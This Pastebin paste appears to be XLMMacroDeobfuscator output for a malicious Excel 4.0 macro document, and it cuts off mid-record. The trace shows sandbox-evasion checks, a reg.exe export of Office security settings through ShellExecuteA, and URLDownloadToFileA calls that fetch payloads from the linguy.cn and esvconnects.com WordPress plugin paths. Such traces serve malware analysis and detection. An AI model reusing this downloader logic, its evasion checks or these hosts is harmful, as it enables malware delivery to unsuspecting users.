Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {
- "file_path": "C:\\Users\\user\\Downloads\\form-6670502.xls\\form-6670502.xls",
- "md5_hash": "a3710fffef68d6a0f90dae7bb86de41c",
- "sha256_hash": "63afdf62014e5b2655fa1728b3a31dd2fb0fbc0a800c8d61b395d15e5a0e4471",
- "analysis_timestamp": 1590017634,
- "format_version": 1,
- "analyzed_by": "XLMMacroDeobfuscator",
- "link": "https://github.com/DissectMalware/XLMMacroDeobfuscator",
- "defined_names": {
- "auto_open": "Sheet2!$EZ$16757"
- },
- "records": [
- {
- "index": 0,
- "sheet": "Sheet2",
- "cell_add": "EZ16757",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!DX23839,\"-350\")"
- },
- {
- "index": 1,
- "sheet": "Sheet2",
- "cell_add": "EZ16758",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(DS11877)"
- },
- {
- "index": 2,
- "sheet": "Sheet2",
- "cell_add": "DS11877",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!IM32690,\"428\")"
- },
- {
- "index": 3,
- "sheet": "Sheet2",
- "cell_add": "DS11878",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(EL33549)"
- },
- {
- "index": 4,
- "sheet": "Sheet2",
- "cell_add": "EL33549",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!AD4689,\"-464\")"
- },
- {
- "index": 5,
- "sheet": "Sheet2",
- "cell_add": "EL33550",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!GZ2517)"
- },
- {
- "index": 6,
- "sheet": "Sheet2",
- "cell_add": "GZ2517",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!FC50404,\"337\")"
- },
- {
- "index": 7,
- "sheet": "Sheet2",
- "cell_add": "GZ2518",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(W23611)"
- },
- {
- "index": 8,
- "sheet": "Sheet2",
- "cell_add": "W23611",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!DN10383,\"607.6\")"
- },
- {
- "index": 9,
- "sheet": "Sheet2",
- "cell_add": "W23612",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!EK22601)"
- },
- {
- "index": 10,
- "sheet": "Sheet2",
- "cell_add": "EK22601",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!HM37381,\"-302\")"
- },
- {
- "index": 11,
- "sheet": "Sheet2",
- "cell_add": "EK22602",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AR7263)"
- },
- {
- "index": 12,
- "sheet": "Sheet2",
- "cell_add": "AR7263",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!R5879,\"-537.9\")"
- },
- {
- "index": 13,
- "sheet": "Sheet2",
- "cell_add": "AR7264",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(DG33187)"
- },
- {
- "index": 14,
- "sheet": "Sheet2",
- "cell_add": "DG33187",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!IH47316,\"-294\")"
- },
- {
- "index": 15,
- "sheet": "Sheet2",
- "cell_add": "DG33188",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DV6231)"
- },
- {
- "index": 16,
- "sheet": "Sheet2",
- "cell_add": "DV6231",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!DM40865,\"502\")"
- },
- {
- "index": 17,
- "sheet": "Sheet2",
- "cell_add": "DV6232",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!IR65325)"
- },
- {
- "index": 18,
- "sheet": "Sheet2",
- "cell_add": "IR65325",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!DD28646,\"308\")"
- },
- {
- "index": 19,
- "sheet": "Sheet2",
- "cell_add": "IR65326",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AN52075)"
- },
- {
- "index": 20,
- "sheet": "Sheet2",
- "cell_add": "AN52075",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CLOSE(FALSE)\",Sheet2!AU28892)"
- },
- {
- "index": 21,
- "sheet": "Sheet2",
- "cell_add": "AN52076",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!CD27825)"
- },
- {
- "index": 22,
- "sheet": "Sheet2",
- "cell_add": "CD27825",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=APP.MAXIMIZE()\",Sheet2!CD27826)"
- },
- {
- "index": 23,
- "sheet": "Sheet2",
- "cell_add": "CD27826",
- "status": "EvalStatus.NotImplemented",
- "formula": "APP.MAXIMIZE()"
- },
- {
- "index": 24,
- "sheet": "Sheet2",
- "cell_add": "CD27827",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!BE21756)"
- },
- {
- "index": 25,
- "sheet": "Sheet2",
- "cell_add": "BE21756",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WINDOW(7),GOTO(R[7135]C[-10]),)\",Sheet2!BE21757)"
- },
- {
- "index": 26,
- "sheet": "Sheet2",
- "cell_add": "BE21757",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WINDOW(7),GOTO(R[7135]C[-10]),)"
- },
- {
- "index": 27,
- "sheet": "Sheet2",
- "cell_add": "BE21758",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!CJ51431)"
- },
- {
- "index": 28,
- "sheet": "Sheet2",
- "cell_add": "CJ51431",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WINDOW(20),,GOTO(R[-22540]C[-41]))\",Sheet2!CJ51432)"
- },
- {
- "index": 29,
- "sheet": "Sheet2",
- "cell_add": "CJ51432",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WINDOW(20),,GOTO(R[-22540]C[-41]))"
- },
- {
- "index": 30,
- "sheet": "Sheet2",
- "cell_add": "CJ51433",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!EK53289)"
- },
- {
- "index": 31,
- "sheet": "Sheet2",
- "cell_add": "EK53289",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WINDOW(23)<3,GOTO(R[-24398]C[-94]),)\",Sheet2!EK53290)"
- },
- {
- "index": 32,
- "sheet": "Sheet2",
- "cell_add": "EK53290",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WINDOW(23)<3,GOTO(R[-24398]C[-94]),)"
- },
- {
- "index": 33,
- "sheet": "Sheet2",
- "cell_add": "EK53291",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DE53091)"
- },
- {
- "index": 34,
- "sheet": "Sheet2",
- "cell_add": "DE53091",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WORKSPACE(31),GOTO(R[-24200]C[-62]),)\",Sheet2!DE53092)"
- },
- {
- "index": 35,
- "sheet": "Sheet2",
- "cell_add": "DE53092",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WORKSPACE(31),GOTO(R[-24200]C[-62]),)"
- },
- {
- "index": 36,
- "sheet": "Sheet2",
- "cell_add": "DE53093",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(BD7678)"
- },
- {
- "index": 37,
- "sheet": "Sheet2",
- "cell_add": "BD7678",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WORKSPACE(13)<770,GOTO(R[21213]C[-9]),)\",Sheet2!BD7679)"
- },
- {
- "index": 38,
- "sheet": "Sheet2",
- "cell_add": "BD7679",
- "status": "EvalStatus.FullBranching",
- "formula": "IF(GET.WORKSPACE(13)<770,GOTO(R[21213]C[-9]),)"
- },
- {
- "index": 39,
- "sheet": "Sheet2",
- "cell_add": "BD7679",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[TRUE] GOTO(R[21213]C[-9])"
- },
- {
- "index": 40,
- "sheet": "Sheet2",
- "cell_add": "AU28892",
- "status": "EvalStatus.End",
- "formula": "CLOSE(FALSE)"
- },
- {
- "index": 41,
- "sheet": "Sheet2",
- "cell_add": "BD7679",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[FALSE]"
- },
- {
- "index": 42,
- "sheet": "Sheet2",
- "cell_add": "BD7680",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!T27711)"
- },
- {
- "index": 43,
- "sheet": "Sheet2",
- "cell_add": "T27711",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WORKSPACE(14)<390,GOTO(R[1180]C[27]),)\",Sheet2!T27712)"
- },
- {
- "index": 44,
- "sheet": "Sheet2",
- "cell_add": "T27712",
- "status": "EvalStatus.FullBranching",
- "formula": "IF(GET.WORKSPACE(14)<390,GOTO(R[1180]C[27]),)"
- },
- {
- "index": 45,
- "sheet": "Sheet2",
- "cell_add": "T27712",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[TRUE] GOTO(R[1180]C[27])"
- },
- {
- "index": 46,
- "sheet": "Sheet2",
- "cell_add": "AU28892",
- "status": "EvalStatus.End",
- "formula": "CLOSE(FALSE)"
- },
- {
- "index": 47,
- "sheet": "Sheet2",
- "cell_add": "T27712",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[FALSE]"
- },
- {
- "index": 48,
- "sheet": "Sheet2",
- "cell_add": "T27713",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DQ22708)"
- },
- {
- "index": 49,
- "sheet": "Sheet2",
- "cell_add": "DQ22708",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WORKSPACE(19),,GOTO(R[6183]C[-74]))\",Sheet2!DQ22709)"
- },
- {
- "index": 50,
- "sheet": "Sheet2",
- "cell_add": "DQ22709",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WORKSPACE(19),,GOTO(R[6183]C[-74]))"
- },
- {
- "index": 51,
- "sheet": "Sheet2",
- "cell_add": "DQ22710",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!GE18364)"
- },
- {
- "index": 52,
- "sheet": "Sheet2",
- "cell_add": "GE18364",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(GET.WORKSPACE(42),,GOTO(R[10527]C[-140]))\",Sheet2!GE18365)"
- },
- {
- "index": 53,
- "sheet": "Sheet2",
- "cell_add": "GE18365",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(GET.WORKSPACE(42),,GOTO(R[10527]C[-140]))"
- },
- {
- "index": 54,
- "sheet": "Sheet2",
- "cell_add": "GE18366",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(GC2028)"
- },
- {
- "index": 55,
- "sheet": "Sheet2",
- "cell_add": "GC2028",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(ISNUMBER(SEARCH(\"\"Windows\"\",GET.WORKSPACE(1))),,GOTO(R[26863]C[-138]))\",Sheet2!GC2029)"
- },
- {
- "index": 56,
- "sheet": "Sheet2",
- "cell_add": "GC2029",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(ISNUMBER(SEARCH(\"Windows\",GET.WORKSPACE(1))),,GOTO(R[26863]C[-138]))"
- },
- {
- "index": 57,
- "sheet": "Sheet2",
- "cell_add": "GC2030",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!CE49383)"
- },
- {
- "index": 58,
- "sheet": "Sheet2",
- "cell_add": "CE49383",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"EXPORT HKCU\\Software\\Microsoft\\Office\\\"\"\",Sheet2!AD52416)"
- },
- {
- "index": 59,
- "sheet": "Sheet2",
- "cell_add": "CE49384",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(FY17312)"
- },
- {
- "index": 60,
- "sheet": "Sheet2",
- "cell_add": "FY17312",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"C:\\Users\\Public\\F31yq.reg\"\"\",Sheet2!FC42899)"
- },
- {
- "index": 61,
- "sheet": "Sheet2",
- "cell_add": "FY17313",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(O52519)"
- },
- {
- "index": 62,
- "sheet": "Sheet2",
- "cell_add": "O52519",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=R[7387]C[-141]&GET.WORKSPACE(2)&\"\"\\Excel\\Security \"\"&R[-2130]C[-12]&\"\" /y\"\"\",Sheet2!FO45029)"
- },
- {
- "index": 63,
- "sheet": "Sheet2",
- "cell_add": "O52520",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(I2849)"
- },
- {
- "index": 64,
- "sheet": "Sheet2",
- "cell_add": "I2849",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"C:\\Windows\\system32\\reg.exe\"\"\",Sheet2!A56)"
- },
- {
- "index": 65,
- "sheet": "Sheet2",
- "cell_add": "I2850",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AB43815)"
- },
- {
- "index": 66,
- "sheet": "Sheet2",
- "cell_add": "AB43815",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CALL(\"\"Shell32\"\",\"\"ShellExecuteA\"\",\"\"JJCCCJJ\"\",0,\"\"open\"\",R[-43760]C[-27],R[1213]C[143],0,5)\",Sheet2!AB43816)"
- },
- {
- "index": 67,
- "sheet": "Sheet2",
- "cell_add": "AB43816",
- "status": "EvalStatus.NotImplemented",
- "formula": "CALL(\"Shell32\",\"ShellExecuteA\",\"JJCCCJJ\",0,\"open\",\"C:\\Windows\\system32\\reg.exe\",51203GET.WORKSPACE(2)\\Excel\\Security P41686 /y,0,5)"
- },
- {
- "index": 68,
- "sheet": "Sheet2",
- "cell_add": "AB43817",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!GZ65252)"
- },
- {
- "index": 69,
- "sheet": "Sheet2",
- "cell_add": "GZ65252",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=WHILE(ISERROR(FILES(R[-22356]C[-49])))\",Sheet2!GZ65255)"
- },
- {
- "index": 70,
- "sheet": "Sheet2",
- "cell_add": "GZ65253",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=WAIT(NOW()+\"\"00:00:01\"\")\",Sheet2!GZ65256)"
- },
- {
- "index": 71,
- "sheet": "Sheet2",
- "cell_add": "GZ65254",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=NEXT()\",Sheet2!GZ65257)"
- },
- {
- "index": 72,
- "sheet": "Sheet2",
- "cell_add": "GZ65255",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "WHILE(\"C:\\Users\\Public\\F31yq.reg\")"
- },
- {
- "index": 73,
- "sheet": "Sheet2",
- "cell_add": "GZ65256",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "WAIT(NOW()+\"00:00:01\")"
- },
- {
- "index": 74,
- "sheet": "Sheet2",
- "cell_add": "GZ65257",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "NEXT()"
- },
- {
- "index": 75,
- "sheet": "Sheet2",
- "cell_add": "GZ65258",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!S45310)"
- },
- {
- "index": 76,
- "sheet": "Sheet2",
- "cell_add": "S45310",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FOPEN(R[-2412]C[140])\",Sheet2!S45311)"
- },
- {
- "index": 77,
- "sheet": "Sheet2",
- "cell_add": "S45311",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FOPEN(\"C:\\Users\\Public\\F31yq.reg\")"
- },
- {
- "index": 78,
- "sheet": "Sheet2",
- "cell_add": "S45312",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DG13084)"
- },
- {
- "index": 79,
- "sheet": "Sheet2",
- "cell_add": "DG13084",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FPOS(R[32226]C[-92],215)\",Sheet2!DG13085)"
- },
- {
- "index": 80,
- "sheet": "Sheet2",
- "cell_add": "DG13085",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FPOS(\"\"\"C:\\Users\\Public\\F31yq.reg\"\"\",215)"
- },
- {
- "index": 81,
- "sheet": "Sheet2",
- "cell_add": "DG13086",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AM24582)"
- },
- {
- "index": 82,
- "sheet": "Sheet2",
- "cell_add": "AM24582",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FREAD(R[20728]C[-20],255)\",Sheet2!AM24583)"
- },
- {
- "index": 83,
- "sheet": "Sheet2",
- "cell_add": "AM24583",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FREAD(\"\"\"C:\\Users\\Public\\F31yq.reg\"\"\",255)"
- },
- {
- "index": 84,
- "sheet": "Sheet2",
- "cell_add": "AM24584",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!EZ32599)"
- },
- {
- "index": 85,
- "sheet": "Sheet2",
- "cell_add": "EZ32599",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FCLOSE(R[12711]C[-137])\",Sheet2!EZ32600)"
- },
- {
- "index": 86,
- "sheet": "Sheet2",
- "cell_add": "EZ32600",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FCLOSE(\"\"\"C:\\Users\\Public\\F31yq.reg\"\"\")"
- },
- {
- "index": 87,
- "sheet": "Sheet2",
- "cell_add": "EZ32601",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!IS8766)"
- },
- {
- "index": 88,
- "sheet": "Sheet2",
- "cell_add": "IS8766",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FILE.DELETE(R[34132]C[-94])\",Sheet2!IS8767)"
- },
- {
- "index": 89,
- "sheet": "Sheet2",
- "cell_add": "IS8767",
- "status": "EvalStatus.NotImplemented",
- "formula": "FILE.DELETE(R[34132]C[-94])"
- },
- {
- "index": 90,
- "sheet": "Sheet2",
- "cell_add": "IS8768",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(Y20249)"
- },
- {
- "index": 91,
- "sheet": "Sheet2",
- "cell_add": "Y20249",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(ISNUMBER(SEARCH(\"\"0001\"\",R[4333]C[14])),GOTO(R[8642]C[22]),)\",Sheet2!Y20250)"
- },
- {
- "index": 92,
- "sheet": "Sheet2",
- "cell_add": "Y20250",
- "status": "EvalStatus.FullEvaluation",
- "formula": "IF(ISNUMBER(SEARCH(\"0001\",R[4333]C[14])),GOTO(R[8642]C[22]),)"
- },
- {
- "index": 93,
- "sheet": "Sheet2",
- "cell_add": "Y20251",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(DW46971)"
- },
- {
- "index": 94,
- "sheet": "Sheet2",
- "cell_add": "DW46971",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"C:\\Users\\Public\\278C.html\"\"\",Sheet2!EF25999)"
- },
- {
- "index": 95,
- "sheet": "Sheet2",
- "cell_add": "DW46972",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AQ10543)"
- },
- {
- "index": 96,
- "sheet": "Sheet2",
- "cell_add": "AQ10543",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates\"\"\",Sheet2!BI8351)"
- },
- {
- "index": 97,
- "sheet": "Sheet2",
- "cell_add": "AQ10544",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DA40956)"
- },
- {
- "index": 98,
- "sheet": "Sheet2",
- "cell_add": "DA40956",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CALL(\"\"urlmon\"\",\"\"URLDownloadToFileA\"\",\"\"JJCCJJ\"\",0,R[-32606]C[-44],R[-14958]C[31],0,0)\",Sheet2!DA40957)"
- },
- {
- "index": 99,
- "sheet": "Sheet2",
- "cell_add": "DA40957",
- "status": "EvalStatus.FullEvaluation",
- "formula": "CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCJJ\",0,\"https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates\",\"C:\\Users\\Public\\278C.html\",0,0)"
- },
- {
- "index": 100,
- "sheet": "Sheet2",
- "cell_add": "DA40958",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AB30737)"
- },
- {
- "index": 101,
- "sheet": "Sheet2",
- "cell_add": "AB30737",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FILES(R[-4739]C[108])\",Sheet2!AB30738)"
- },
- {
- "index": 102,
- "sheet": "Sheet2",
- "cell_add": "AB30738",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FILES(\"C:\\Users\\Public\\278C.html\")"
- },
- {
- "index": 103,
- "sheet": "Sheet2",
- "cell_add": "AB30739",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(DH602)"
- },
- {
- "index": 104,
- "sheet": "Sheet2",
- "cell_add": "DH602",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(ISERROR(R[30135]C[-84]),GOTO(R[28289]C[-65]),)\",Sheet2!DH603)"
- },
- {
- "index": 105,
- "sheet": "Sheet2",
- "cell_add": "DH603",
- "status": "EvalStatus.FullBranching",
- "formula": "IF(ISERROR(R[30135]C[-84]),GOTO(R[28289]C[-65]),)"
- },
- {
- "index": 106,
- "sheet": "Sheet2",
- "cell_add": "DH603",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[TRUE] GOTO(R[28289]C[-65])"
- },
- {
- "index": 107,
- "sheet": "Sheet2",
- "cell_add": "AU28892",
- "status": "EvalStatus.End",
- "formula": "CLOSE(FALSE)"
- },
- {
- "index": 108,
- "sheet": "Sheet2",
- "cell_add": "DH603",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[FALSE]"
- },
- {
- "index": 109,
- "sheet": "Sheet2",
- "cell_add": "DH604",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DP56466)"
- },
- {
- "index": 110,
- "sheet": "Sheet2",
- "cell_add": "DP56466",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!IT55124,\"-1227.5\")"
- },
- {
- "index": 111,
- "sheet": "Sheet2",
- "cell_add": "DP56467",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(FZ46015)"
- },
- {
- "index": 112,
- "sheet": "Sheet2",
- "cell_add": "FZ46015",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!BK30990,\"219\")"
- },
- {
- "index": 113,
- "sheet": "Sheet2",
- "cell_add": "FZ46016",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!CZ42664)"
- },
- {
- "index": 114,
- "sheet": "Sheet2",
- "cell_add": "CZ42664",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!HU62740,\"-179\")"
- },
- {
- "index": 115,
- "sheet": "Sheet2",
- "cell_add": "CZ42665",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(Z43104)"
- },
- {
- "index": 116,
- "sheet": "Sheet2",
- "cell_add": "Z43104",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!AQ37789,\"-231\")"
- },
- {
- "index": 117,
- "sheet": "Sheet2",
- "cell_add": "Z43105",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AB63111)"
- },
- {
- "index": 118,
- "sheet": "Sheet2",
- "cell_add": "AB63111",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!AM30833,\"-167\")"
- },
- {
- "index": 119,
- "sheet": "Sheet2",
- "cell_add": "AB63112",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(HT6285)"
- },
- {
- "index": 120,
- "sheet": "Sheet2",
- "cell_add": "HT6285",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!AB59905,\"97.4\")"
- },
- {
- "index": 121,
- "sheet": "Sheet2",
- "cell_add": "HT6286",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AL38908)"
- },
- {
- "index": 122,
- "sheet": "Sheet2",
- "cell_add": "AL38908",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!EC58448,\"-6.75\")"
- },
- {
- "index": 123,
- "sheet": "Sheet2",
- "cell_add": "AL38909",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!HE24233)"
- },
- {
- "index": 124,
- "sheet": "Sheet2",
- "cell_add": "HE24233",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!ET17871,\"426\")"
- },
- {
- "index": 125,
- "sheet": "Sheet2",
- "cell_add": "HE24234",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(CM31379)"
- },
- {
- "index": 126,
- "sheet": "Sheet2",
- "cell_add": "CM31379",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!AV38726,\"-330\")"
- },
- {
- "index": 127,
- "sheet": "Sheet2",
- "cell_add": "CM31380",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DP40784)"
- },
- {
- "index": 128,
- "sheet": "Sheet2",
- "cell_add": "DP40784",
- "status": "EvalStatus.FullEvaluation",
- "formula": "SET.VALUE(Sheet2!IQ39844,\"176\")"
- },
- {
- "index": 129,
- "sheet": "Sheet2",
- "cell_add": "DP40785",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(GZ65311)"
- },
- {
- "index": 130,
- "sheet": "Sheet2",
- "cell_add": "GZ65311",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"C:\\Users\\Public\\vpySLQ4.html\"\"\",Sheet2!FA20689)"
- },
- {
- "index": 131,
- "sheet": "Sheet2",
- "cell_add": "GZ65312",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(V55549)"
- },
- {
- "index": 132,
- "sheet": "Sheet2",
- "cell_add": "V55549",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"http://linguy.cn/wp-content/plugins/apikey/wp-front.php\"\"\",Sheet2!EH27066)"
- },
- {
- "index": 133,
- "sheet": "Sheet2",
- "cell_add": "V55550",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!EJ44674)"
- },
- {
- "index": 134,
- "sheet": "Sheet2",
- "cell_add": "EJ44674",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CALL(\"\"urlmon\"\",\"\"URLDownloadToFileA\"\",\"\"JJCCJJ\"\",0,R[-34611]C[-3],R[-40988]C[16],0,0)\",Sheet2!EK61677)"
- },
- {
- "index": 135,
- "sheet": "Sheet2",
- "cell_add": "EJ44675",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(EE53119)"
- },
- {
- "index": 136,
- "sheet": "Sheet2",
- "cell_add": "EE53119",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=FILES(R[-9924]C[-91])\",Sheet2!IN30613)"
- },
- {
- "index": 137,
- "sheet": "Sheet2",
- "cell_add": "EE53120",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!CX11460)"
- },
- {
- "index": 138,
- "sheet": "Sheet2",
- "cell_add": "CX11460",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=IF(ISERROR(R[25175]C[173]),,RUN(R[3160]C[32]))\",Sheet2!BW5438)"
- },
- {
- "index": 139,
- "sheet": "Sheet2",
- "cell_add": "CX11461",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(BD32544)"
- },
- {
- "index": 140,
- "sheet": "Sheet2",
- "cell_add": "BD32544",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"https://esvconnects.com/wp-content/plugins/apikey/wp-front.php\"\"\",Sheet2!FK56594)"
- },
- {
- "index": 141,
- "sheet": "Sheet2",
- "cell_add": "BD32545",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(ID25477)"
- },
- {
- "index": 142,
- "sheet": "Sheet2",
- "cell_add": "ID25477",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CALL(\"\"urlmon\"\",\"\"URLDownloadToFileA\"\",\"\"JJCCJJ\"\",0,R[52036]C[156],R[16131]C[146],0,0)\",Sheet2!K4558)"
- },
- {
- "index": 143,
- "sheet": "Sheet2",
- "cell_add": "ID25478",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!S36752)"
- },
- {
- "index": 144,
- "sheet": "Sheet2",
- "cell_add": "S36752",
- "status": "EvalStatus.FullEvaluation",
